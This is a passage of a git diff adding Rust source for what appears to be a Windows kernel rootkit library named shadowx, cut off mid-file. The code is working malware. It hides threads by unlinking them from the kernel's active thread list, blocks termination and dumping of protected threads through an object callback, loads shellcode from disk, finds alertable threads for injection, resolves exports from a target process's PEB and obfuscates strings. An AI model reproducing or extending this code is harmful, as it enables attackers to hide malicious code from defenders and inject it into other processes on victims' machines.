+ /// # Arguments + /// + /// * `tid` - The identifier of the target process (tid) to be hidden. + /// + /// # Returns + /// + /// * A status code indicating the success or failure of the operation. + pub fn add_target_tid(tid: usize) -> NTSTATUS { + let mut tids = TARGET_TIDS.lock(); + + if tids.len() >= MAX_TID { + return STATUS_QUOTA_EXCEEDED; + } + + if tids.contains(&tid) { + return STATUS_DUPLICATE_OBJECTID; + } + + tids.push(tid); + + STATUS_SUCCESS + } + + /// Method for removing the list of threads that will have anti-kill / dumping protection. + /// + /// # Arguments + /// + /// * `tid` - The identifier of the target process (tid) to be hidden. + /// + /// # Returns + /// + /// * A status code indicating the success or failure of the operation. + pub fn remove_target_tid(tid: usize) -> NTSTATUS { + let mut tids = TARGET_TIDS.lock(); + + if let Some(index) = tids.iter().position(|&x| x == tid) { + tids.remove(index); + STATUS_SUCCESS + } else { + STATUS_UNSUCCESSFUL + } + } + + /// Enumerate threads Protect. + /// + /// # Arguments + /// + /// * `info_process` - It is a parameter of type `Infothreads` that will send the threads that are currently protected. + /// * `information` - It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures. + /// + /// # Returns + /// + /// * A status code indicating success or failure of the operation. + pub unsafe fn enumerate_protection_thread() -> Vec { + let mut threads: Vec = Vec::new(); + let thread_info = TARGET_TIDS.lock(); + for i in thread_info.iter() { + threads.push(TargetThread { + tid: *i, + ..Default::default() + }); + } + + threads + } + + /// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads. + /// + /// # Arguments + /// + /// * `_registration_context` - A pointer to the registration context (unused). + /// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation. + /// + /// # Returns + /// + /// * A status code indicating the success of the pre-operation. + pub unsafe extern "C" fn on_pre_open_thread( + _registration_context: *mut core::ffi::c_void, + info: *mut OB_PRE_OPERATION_INFORMATION, + ) -> Type { + if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 { + return OB_PREOP_SUCCESS; + } + + let thread = (*info).Object as PETHREAD; + let tid = PsGetThreadId(thread) as usize; + let tids = TARGET_TIDS.lock(); + + if tids.contains(&tid) { + let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT); + (*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask; + } + + OB_PREOP_SUCCESS + } +} + diff --git a/crates/shadowx/src/thread/mod.rs b/crates/shadowx/src/thread/mod.rs new file mode 100644 index 0000000..4193554 --- /dev/null +++ b/crates/shadowx/src/thread/mod.rs @@ -0,0 +1,206 @@ +use alloc::vec::Vec; +use wdk_sys::{ntddk::*, *}; +use spin::{mutex::Mutex, lazy::Lazy}; +use crate::{ + error::ShadowError, + lock::with_push_lock_exclusive, + offsets::{ + get_thread_list_entry_offset, + get_thread_lock_offset + } +}; +use common::{structs::TargetThread, vars::MAX_TID}; + +pub mod callback; +pub use callback::*; + +/// List of target threads protected by a mutex. +pub static THREAD_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID))); + +/// Represents a thread in the operating system. +/// +/// The `Thread` struct provides a safe abstraction over the `ETHREAD` structure used +/// in Windows kernel development. It allows for looking up a thread by its TID and ensures +/// proper cleanup of resources when the structure goes out of scope. +pub struct Thread { + /// Pointer to the ETHREAD structure, used for managing thread information. + pub e_thread: PETHREAD, +} + +impl Thread { + /// Creates a new `Thread` instance by looking up a thread by its TID. + /// + /// This method attempts to find a thread using its thread identifier (TID). If the thread + /// is found, it returns an instance of the `Thread` structure containing a pointer to the + /// `ETHREAD` structure. + /// + /// # Arguments + /// + /// * `tid` - The thread identifier (TID) of the thread to be looked up. + /// + /// # Returns + /// + /// * `Ok(Self)` - Returns a `Thread` instance if the thread lookup is successful. + /// * `Err(ShadowError)` - Returns an error message if the lookup fails. + /// + /// # Examples + /// + /// ```rust + /// let thread = Thread::new(1234); + /// match thread { + /// Ok(thre) => println!("Thread found: {:?}", thre.e_thread), + /// Err(e) => println!("Error: {}", e), + /// } + /// ``` + #[inline] + pub fn new(tid: usize) -> Result { + let mut thread = core::ptr::null_mut(); + + let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut thread) }; + if NT_SUCCESS(status) { + Ok(Self { e_thread: thread }) + } else { + Err(ShadowError::ApiCallFailed("PsLookupThreadByThreadId", status)) + } + } +} + +/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope. +/// +/// The `Drop` implementation ensures that the reference count on the `ETHREAD` structure +/// is properly decremented when the `Thread` instance is dropped. This prevents resource leaks. +impl Drop for Thread { + /// Cleans up the resources held by the `Thread` structure. + /// + /// This method decrements the reference count of the `ETHREAD` structure when the + /// `Thread` instance is dropped, ensuring proper cleanup. + fn drop(&mut self) { + if !self.e_thread.is_null() { + unsafe { ObfDereferenceObject(self.e_thread as _) }; + } + } +} + +impl Thread { + /// Hides a thread by removing it from the active thread list in the operating system. + /// + /// This method hides a thread by unlinking it from the active thread list (`LIST_ENTRY`) in the OS. + /// It uses synchronization locks to ensure thread safety while modifying the list. Once the thread is hidden, + /// it is no longer visible in the system's active thread chain. + /// + /// # Arguments + /// + /// * `tid` - The thread identifier (TID) of the target thread to be hidden. + /// + /// # Returns + /// + /// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring threads + /// in the list before it was modified. + /// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue. + pub unsafe fn hide_thread(tid: usize) -> Result { + // Getting offsets based on the Windows build number + let active_thread_link = get_thread_list_entry_offset(); + let offset_lock = get_thread_lock_offset(); + + // Retrieving ETHREAD from the target thread + let thread = Self::new(tid)?; + + // Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread + // to the list of active threads in the system. + let current = thread.e_thread.cast::().offset(active_thread_link) as PLIST_ENTRY; + let push_lock = thread.e_thread.cast::().offset(offset_lock) as *mut u64; + + // Use synchronization to ensure thread safety while modifying the list + with_push_lock_exclusive(push_lock, || { + // The next thread in the chain + let next = (*current).Flink; + + // The previous thread in the chain + let previous = (*current).Blink; + + // Storing the previous list entry, which will be returned + let previous_link = LIST_ENTRY { + Flink: next as *mut LIST_ENTRY, + Blink: previous as *mut LIST_ENTRY, + }; + + // Unlink the thread from the active list + (*next).Blink = previous; + (*previous).Flink = next; + + // Make the current list entry point to itself to hide the thread + (*current).Flink = current; + (*current).Blink = current; + + Ok(previous_link) + }) + } + + /// Unhides a thread by restoring it to the active thread list in the operating system. + /// + /// This method restores a previously hidden thread back into the active thread list by re-linking + /// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent threads in the list. The function + /// uses synchronization locks to ensure thread safety while modifying the list. + /// + /// # Arguments + /// + /// * `tid` - The thread identifier (TID) of the target thread to be unhidden. + /// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring threads in the list, + /// which was saved when the thread was hidden. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - Indicates the thread was successfully restored to the active list. + /// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue. + pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> Result { + // Getting offsets based on the Windows build number + let active_thread_link = get_thread_list_entry_offset(); + let offset_lock = get_thread_lock_offset(); + + // Retrieving ETHREAD from the target thread + let thread = Self::new(tid)?; + + // Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread + // to the list of active threads in the system. + let current = thread.e_thread.cast::().offset(active_thread_link) as PLIST_ENTRY; + let push_lock = thread.e_thread.cast::().offset(offset_lock) as *mut u64; + + // Use synchronization to ensure thread safety while modifying the list + with_push_lock_exclusive(push_lock, || { + // Restore the `Flink` and `Blink` from the saved `list_entry` + (*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY; + (*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY; + + // Re-link the process to the neighboring processes in the chain + let next = (*current).Flink; + let previous = (*current).Blink; + + (*next).Blink = current; + (*previous).Flink = current; + }); + + Ok(STATUS_SUCCESS) + } + + /// Enumerates all currently hidden threads. + /// + /// This function iterates through the list of hidden threads stored in `THREAD_INFO_HIDE` and returns + /// a vector containing their information. + /// + /// # Returns + /// + /// * A vector containing the information of all hidden threads. + pub unsafe fn enumerate_hide_threads() -> Vec { + let mut threads: Vec = Vec::new(); + let thread_info = THREAD_INFO_HIDE.lock(); + for i in thread_info.iter() { + threads.push(TargetThread { + tid: (*i).tid as usize, + ..Default::default() + }); + } + + threads + } + +} \ No newline at end of file diff --git a/crates/shadowx/src/utils/address.rs b/crates/shadowx/src/utils/address.rs new file mode 100644 index 0000000..38067ba --- /dev/null +++ b/crates/shadowx/src/utils/address.rs @@ -0,0 +1,106 @@ +use { + super::pool::PoolMemory, + alloc::string::ToString, + winapi::um::winnt::RtlZeroMemory, + wdk_sys::{POOL_FLAG_NON_PAGED, NT_SUCCESS}, + core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts}, + ntapi::{ + ntexapi::SystemModuleInformation, + ntzwapi::ZwQuerySystemInformation + }, + winapi::um::winnt::{ + IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, + IMAGE_NT_HEADERS64, + } +}; + +use crate::{ + error::ShadowError, + SystemModuleInformation +}; + +/// Gets the base address of a specified module by querying system module information. +/// This function queries the system for all loaded modules and compares their names +/// to the provided module name to find the base address. +/// +/// # Arguments +/// +/// * `module_name` - A string slice containing the name of the module to locate. +/// +/// # Returns +/// +/// * `Ok(*mut c_void)` - A pointer to the base address of the module if found. +/// * `Err(ShadowError)` - If the module is not found or an error occurs during execution. +pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void, ShadowError> { + // Initial call to ZwQuerySystemInformation to get the required buffer size for system module info + let mut return_bytes = 0; + ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes); + + // Allocates non-paged pool memory to store system module information + let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx")) + .map(|mem| mem.ptr as *mut SystemModuleInformation) // Converts to the appropriate type + .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; + + // Clears the allocated memory to ensure no garbage data is present + RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize); + + // Retrieves the actual system module information + let status = ZwQuerySystemInformation( + SystemModuleInformation, + info_module as *mut winapi::ctypes::c_void, + return_bytes, + &mut return_bytes + ); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)) + } + + // Iterates over the list of modules to find the one that matches the provided name + let module_count = (*info_module).ModuleCount; + for i in 0..module_count as usize { + let name = (*info_module).Modules[i].ImageName; + let module_base = (*info_module).Modules[i].ImageBase as *mut c_void; + if let Ok(name_str) = core::str::from_utf8(&name) { + if name_str.contains(module_name) { + return Ok(module_base); + } + } + } + + // If the module is not found, return an error + Err(ShadowError::FunctionExecutionFailed("get_module_base_address", line!())) +} + +/// Gets the address of a specified function within a module. +/// +/// # Arguments +/// +/// * `function_name` - A string slice containing the name of the function. +/// * `dll_base` - A pointer to the base address of the DLL. +/// +/// # Returns +/// +/// * `Option<*mut c_void>` - An optional pointer to the function's address, or None if the function is not found. +pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Result<*mut c_void, ShadowError> { + let dos_header = dll_base as *const IMAGE_DOS_HEADER; + let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; + + let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; + let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _); + let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _); + let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _); + + for i in 0..(*export_directory).NumberOfNames as usize { + let name = CStr::from_ptr((dll_base as usize + names[i] as usize) as *const i8) + .to_str() + .map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?; + + let ordinal = ordinals[i] as usize; + let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void; + if name == function_name { + return Ok(address); + } + } + + Err(ShadowError::FunctionNotFound(function_name.to_string())) +} \ No newline at end of file diff --git a/crates/shadowx/src/utils/file.rs b/crates/shadowx/src/utils/file.rs new file mode 100644 index 0000000..ed80d39 --- /dev/null +++ b/crates/shadowx/src/utils/file.rs @@ -0,0 +1,122 @@ +use { + alloc::vec::Vec, + crate::error::ShadowError, + core::{ffi::c_void, ptr::null_mut}, + super::{handle::Handle, InitializeObjectAttributes}, + wdk_sys::{ + *, + ntddk::*, + _FILE_INFORMATION_CLASS::FileStandardInformation + }, +}; + +/// Reads the content of a file given its path in the NT kernel environment. +/// +/// This function opens a file specified by the given path, reads its content, +/// and returns the data as a vector of bytes. It uses the `ZwCreateFile` function +/// to open the file and `ZwReadFile` to read its content. The path is automatically +/// converted to NT format (e.g., `\\??\\C:\\path\\to\\file`). +/// +/// # Arguments +/// +/// * `path` - A string slice representing the path to the file. The path should follow +/// the standard Windows format (e.g., `C:\\path\\to\\file`). +/// +/// # Returns +/// +/// * `Ok(Vec)` - A vector containing the file's content as bytes if the file is successfully opened and read. +/// * `Err(ShadowError)` - If an error occurs during: +/// - Opening the file (`ZwCreateFile` failure), +/// - Querying file information (`ZwQueryInformationFile` failure), +/// - Reading the file (`ZwReadFile` failure). +pub fn read_file(path: &str) -> Result, ShadowError> { + // Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file") + let path_nt = alloc::format!("\\??\\{}", path); + + // Converts the NT path to a Unicode string + let file_name = crate::utils::uni::str_to_unicode(&path_nt); + + // Initializes the object attributes for opening the file, including setting + // it as case insensitive and kernel-handled + let mut io_status_block: _IO_STATUS_BLOCK = unsafe { core::mem::zeroed() }; + let mut obj_attr = InitializeObjectAttributes( + Some(&mut file_name.to_unicode()), + OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, + None, + None, + None + ); + + // Opens the file using ZwCreateFile with read permissions + let mut h_file: HANDLE = null_mut(); + let mut status = unsafe { + ZwCreateFile( + &mut h_file, + GENERIC_READ, + &mut obj_attr, + &mut io_status_block, + null_mut(), + FILE_ATTRIBUTE_NORMAL, + 0, + FILE_OPEN, + FILE_SYNCHRONOUS_IO_NONALERT, + null_mut(), + 0, + ) + }; + + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwCreateFile", status)); + } + + // Wrap the file handle in a safe Handle type + let h_file = Handle::new(h_file); + + // Placeholder for storing file information (e.g., size) + let mut file_info: FILE_STANDARD_INFORMATION = unsafe { core::mem::zeroed() }; + + // Queries file information, such as its size, using ZwQueryInformationFile + status = unsafe { + ZwQueryInformationFile( + h_file.get(), + &mut io_status_block, + &mut file_info as *mut _ as *mut c_void, + size_of::() as u32, + FileStandardInformation + ) + }; + + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwQueryInformationFile", status)); + } + + // Retrieves the file size from the queried file information + let file_size = unsafe { file_info.EndOfFile.QuadPart as usize }; + + // Initializes the byte offset to 0 for reading from the beginning of the file + let mut byte_offset: LARGE_INTEGER = unsafe { core::mem::zeroed() }; + byte_offset.QuadPart = 0; + + // Reads the file content into the buffer using ZwReadFile + let mut shellcode = alloc::vec![0u8; file_size]; + status = unsafe { + ZwReadFile( + h_file.get(), + null_mut(), + None, + null_mut(), + &mut io_status_block, + shellcode.as_mut_ptr() as *mut c_void, + file_size as u32, + &mut byte_offset, + null_mut() + ) + }; + + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwReadFile", status)); + } + + // Returns the file content as a vector of bytes if everything succeeds + Ok(shellcode) +} \ No newline at end of file diff --git a/driver/src/utils/handles.rs b/crates/shadowx/src/utils/handle.rs similarity index 86% rename from driver/src/utils/handles.rs rename to crates/shadowx/src/utils/handle.rs index b1c1092..0e8eb3c 100644 --- a/driver/src/utils/handles.rs +++ b/crates/shadowx/src/utils/handle.rs @@ -5,7 +5,6 @@ use wdk_sys::{ntddk::ZwClose, HANDLE}; /// This struct provides a safe abstraction over raw Windows handles, ensuring that the /// handle is properly closed when it goes out of scope, by calling `ZwClose` in its `Drop` /// implementation. -/// pub struct Handle(HANDLE); impl Handle { @@ -15,12 +14,11 @@ impl Handle { /// /// # Arguments /// - /// - `handle`: A raw Windows `HANDLE` to wrap. + /// * `handle` - A raw Windows `HANDLE` to wrap. /// /// # Returns /// - /// - `Handle`: A new `Handle` instance that wraps the given `HANDLE`. - /// + /// * Returns a new `Handle` instance that encapsulates the provided raw `HANDLE`. #[inline] pub fn new(handle: HANDLE) -> Self { Handle(handle) @@ -33,8 +31,7 @@ impl Handle { /// /// # Returns /// - /// - `HANDLE`: The raw Windows `HANDLE`. - /// + /// * Returns the raw Windows `HANDLE` encapsulated in the `Handle` struct. #[inline] pub fn get(&self) -> HANDLE { self.0 diff --git a/crates/shadowx/src/utils/lock.rs b/crates/shadowx/src/utils/lock.rs new file mode 100644 index 0000000..19a29c6 --- /dev/null +++ b/crates/shadowx/src/utils/lock.rs @@ -0,0 +1,28 @@ +use wdk_sys::ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx}; + +/// Generic function that performs the operation with the lock already acquired. +/// It will acquire the lock exclusively and guarantee its release after use. +/// +/// # Arguments +/// +/// * `push_lock` - Pointer to the lock to be acquired. +/// * `operation` - The operation to be performed while the lock is active. +pub fn with_push_lock_exclusive(push_lock: *mut u64, operation: F) -> T +where + F: FnOnce() -> T, +{ + unsafe { + // Get the lock exclusively + ExAcquirePushLockExclusiveEx(push_lock, 0); + } + + // Performs the operation while the lock is active + let result = operation(); + + unsafe { + // Releases the lock after the operation + ExReleasePushLockExclusiveEx(push_lock, 0); + } + + result +} diff --git a/crates/shadowx/src/utils/mod.rs b/crates/shadowx/src/utils/mod.rs new file mode 100644 index 0000000..2cbd7de --- /dev/null +++ b/crates/shadowx/src/utils/mod.rs @@ -0,0 +1,326 @@ +use { + alloc::string::{ToString, String}, + wdk_sys::{*, ntddk::*}, + crate::{ + *, + pool::PoolMemory, + error::ShadowError, + process_attach::ProcessAttach + }, + core::{ + ffi::{c_void, CStr}, + slice::from_raw_parts, + ptr::{null_mut, read_unaligned}, + }, + ntapi::{ + ntpebteb::PEB, + ntldr::LDR_DATA_TABLE_ENTRY, + ntzwapi::ZwQuerySystemInformation, + ntexapi::{SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION}, + }, + winapi::um::winnt::{ + IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, + IMAGE_NT_HEADERS64 + } +}; + +pub mod uni; +pub mod lock; +pub mod patterns; +pub mod address; +pub mod pool; +pub mod handle; +pub mod file; +pub mod process_attach; + +/// Initializes the `OBJECT_ATTRIBUTES` structure. +/// +/// # Arguments +/// +/// * `object_name` - An optional pointer to a `UNICODE_STRING` representing the name of the object. +/// If `None`, the object name is set to `null_mut()`. +/// * `attributes` - A `u32` representing the attributes of the object (e.g., `OBJ_CASE_INSENSITIVE`, `OBJ_KERNEL_HANDLE`). +/// * `root_directory` - An optional pointer to a root directory. If the object resides in a directory, +/// this pointer represents the root directory. If `None`, it is set to `null_mut()`. +/// * `security_descriptor` - An optional pointer to a security descriptor that defines +/// access control. If `None`, it is set to `null_mut()`. +/// * `security_quality_of_service` - An optional pointer to a security quality of service structure. +/// If `None`, it is set to `null_mut()`. +/// +/// # Returns +/// +/// * Returns an `OBJECT_ATTRIBUTES` structure initialized with the provided parameters. +/// If optional arguments are not provided, their corresponding fields are set to `null_mut()`. +#[allow(non_snake_case)] +pub fn InitializeObjectAttributes( + object_name: Option<*mut UNICODE_STRING>, + attributes: u32, + root_directory: Option<*mut c_void>, + security_descriptor: Option<*mut c_void>, + security_quality_of_service: Option<*mut c_void> +) -> OBJECT_ATTRIBUTES { + OBJECT_ATTRIBUTES { + Length: size_of::() as u32, + RootDirectory: root_directory.unwrap_or(null_mut()), + ObjectName: object_name.unwrap_or(null_mut()), + Attributes: attributes, + SecurityDescriptor: security_descriptor.unwrap_or(null_mut()), + SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut()) + } +} + +/// Find a thread with an alertable status for the given process (PID). +/// +/// This function queries the system for all threads associated with the specified process. +/// It checks whether each thread meets specific conditions (e.g., non-terminating and alertable) +/// and returns the `KTHREAD` pointer if such a thread is found. +/// +/// # Arguments +/// +/// * `target_pid` - The process identifier (PID) for which to find an alertable thread. +/// +/// # Returns +/// +/// * `Ok(*mut _KTHREAD)` - A pointer to the `KTHREAD` of the found alertable thread. +/// * `Err(ShadowError)` - If no suitable thread is found or an error occurs during the search. +pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD, ShadowError> { + // Initial call to get the necessary buffer size for system process information + let mut return_bytes = 0; + ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); + + // Allocate memory to store process information + let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied")) + .map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION) + .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; + + // Query system information to get process and thread data + let status = ZwQuerySystemInformation( + SystemProcessInformation, + info_process as *mut winapi::ctypes::c_void, + return_bytes, + &mut return_bytes, + ); + + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)); + } + + // Iterate over process information to find the target PID and alertable thread + let mut process_info = info_process; + while (*process_info).NextEntryOffset != 0 { + let pid = (*process_info).UniqueProcessId as usize; + if pid == target_pid { + let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,); + for &thread in threads_slice { + let thread_id = thread.ClientId.UniqueThread as usize; + let target_thread = if let Ok(thread) = Thread::new(thread_id) { thread } else { continue }; + + if PsIsThreadTerminating(target_thread.e_thread) == 1 { + continue; + } + + let is_alertable = read_unaligned(target_thread.e_thread.cast::().offset(0x74) as *const u64) & 0x10; + let is_gui_thread = read_unaligned(target_thread.e_thread.cast::().offset(0x78) as *const u64) & 0x80; + let thread_kernel_stack = read_unaligned(target_thread.e_thread.cast::().offset(0x58) as *const u64); + let thread_context_stack = read_unaligned(target_thread.e_thread.cast::().offset(0x268) as *const u64); + + if is_alertable == 0 && is_gui_thread != 0 && thread_kernel_stack == 0 && thread_context_stack == 0 { + continue; + } + + return Ok(target_thread.e_thread) + } + } + + if (*process_info).NextEntryOffset == 0 { + break; + } + + process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; + } + + Err(ShadowError::FunctionExecutionFailed("find_thread_alertable", line!())) +} + +/// Retrieves the address of a function within a specific module loaded in a process's PEB. +/// +/// This function locates the specified module (DLL) in the process's PEB and searches for +/// the requested function within the module's export table. It returns the address of the +/// function if found. +/// +/// # Arguments +/// +/// * `pid` - The process identifier (PID) of the target process. +/// * `module_name` - The name of the module (e.g., DLL) to search for. +/// * `function_name` - The name of the function to locate within the module. +/// +/// # Returns +/// +/// * `Ok(*mut c_void)` - A pointer to the function's address if found. +/// * `Err(ShadowError)` - If the function or module is not found, or an error occurs during execution. +pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Result<*mut c_void, ShadowError> { + // Attach to the target process and access its PEB + let target = Process::new(pid)?; + ProcessAttach::new(target.e_process); + let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; + if target_peb.is_null() || (*target_peb).Ldr.is_null() { + return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!())); + } + + // Traverse the InLoadOrderModuleList to find the module + let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY; + let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; + + while next != current { + if next.is_null() { + return Err(ShadowError::NullPointer("next LIST_ENTRY")); + } + + let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; + if list_entry.is_null() { + return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY")); + } + + let buffer = core::slice::from_raw_parts( + (*list_entry).FullDllName.Buffer, + ((*list_entry).FullDllName.Length / 2) as usize, + ); + if buffer.is_empty() { + return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize)); + } + + // Check if the module name matches + let dll_name = alloc::string::String::from_utf16_lossy(buffer); + if dll_name.to_lowercase().contains(module_name) { + let dll_base = (*list_entry).DllBase as usize; + let dos_header = dll_base as *mut IMAGE_DOS_HEADER; + let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; + let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _); + let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _); + let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); + + // Search for the function by name in the export table + for i in 0..(*export_directory).NumberOfNames as isize { + let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8) + .to_str() + .map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?; + + let ordinal = ordinals[i as usize] as usize; + let address = (dll_base + functions[ordinal] as usize) as *mut c_void; + if name_module == function_name { + return Ok(address); + } + } + } + + next = (*next).Flink; + } + + Err(ShadowError::ModuleNotFound(module_name.to_string())) +} + + +/// Retrieves the PID of a process by its name. +/// +/// # Arguments +/// +/// * `process_name` - A string slice containing the name of the process. +/// +/// # Returns +/// +/// * `Option` - An optional containing the PID of the process, or None if the process is not found. +pub unsafe fn get_process_by_name(process_name: &str) -> Result { + + let mut return_bytes = 0; + ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); + + let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws")) + .map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION) + .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; + + let status = ZwQuerySystemInformation( + SystemProcessInformation, + info_process as *mut winapi::ctypes::c_void, + return_bytes, + &mut return_bytes, + ); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)); + } + + let mut process_info = info_process; + + loop { + if !(*process_info).ImageName.Buffer.is_null() { + let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize); + let name = String::from_utf16_lossy(image_name); + if name == process_name { + let pid = (*process_info).UniqueProcessId as usize; + return Ok(pid); + } + } + + if (*process_info).NextEntryOffset == 0 { + break; + } + + process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; + } + + Err(ShadowError::ProcessNotFound(process_name.to_string())) +} + + +/// Validates if the given address is within the kernel memory range. +/// +/// # Arguments +/// +/// * `addr` - A 64-bit unsigned integer representing the address to validate. +/// +/// # Returns +/// +/// * `bool` - True if the address is within the kernel memory range, False otherwise. +pub fn valid_kernel_memory(addr: u64) -> bool { + addr > 0x8000000000000000 && addr < 0xFFFFFFFFFFFFFFFF +} + +/// Validates if the given address is within the user memory range. +/// +/// # Arguments +/// +/// * `addr` - A 64-bit unsigned integer representing the address to validate. +/// +/// # Returns +/// +/// * `bool` - True if the address is within the user memory range, False otherwise. +pub fn valid_user_memory(addr: u64) -> bool { + addr > 0 && addr < 0x7FFFFFFFFFFFFFFF +} + +/// Responsible for returning information on the modules loaded. +/// +/// # Returns +/// +/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList. +/// +pub fn list_modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32), ShadowError> { + let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList")); + let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY }; + + if func.is_null() { + return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")) + } + + let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; + let mut module_count = 0; + + let start_entry = list_entry; + while !list_entry.is_null() && list_entry != func { + module_count += 1; + list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; + } + + Ok((start_entry, module_count)) +} diff --git a/driver/src/utils/patterns.rs b/crates/shadowx/src/utils/patterns.rs similarity index 62% rename from driver/src/utils/patterns.rs rename to crates/shadowx/src/utils/patterns.rs index 0acb68d..8398078 100644 --- a/driver/src/utils/patterns.rs +++ b/crates/shadowx/src/utils/patterns.rs @@ -1,28 +1,199 @@ use { obfstr::obfstr, - super::{ - InitializeObjectAttributes, - address::get_module_base_address, + crate::error::ShadowError, + wdk_sys::{ + ntddk::*, + *, + _SECTION_INHERIT::ViewUnmap }, core::{ - ffi::{c_void, CStr}, mem::{size_of, zeroed}, - ptr::{null_mut, read}, slice::from_raw_parts + ffi::CStr, + 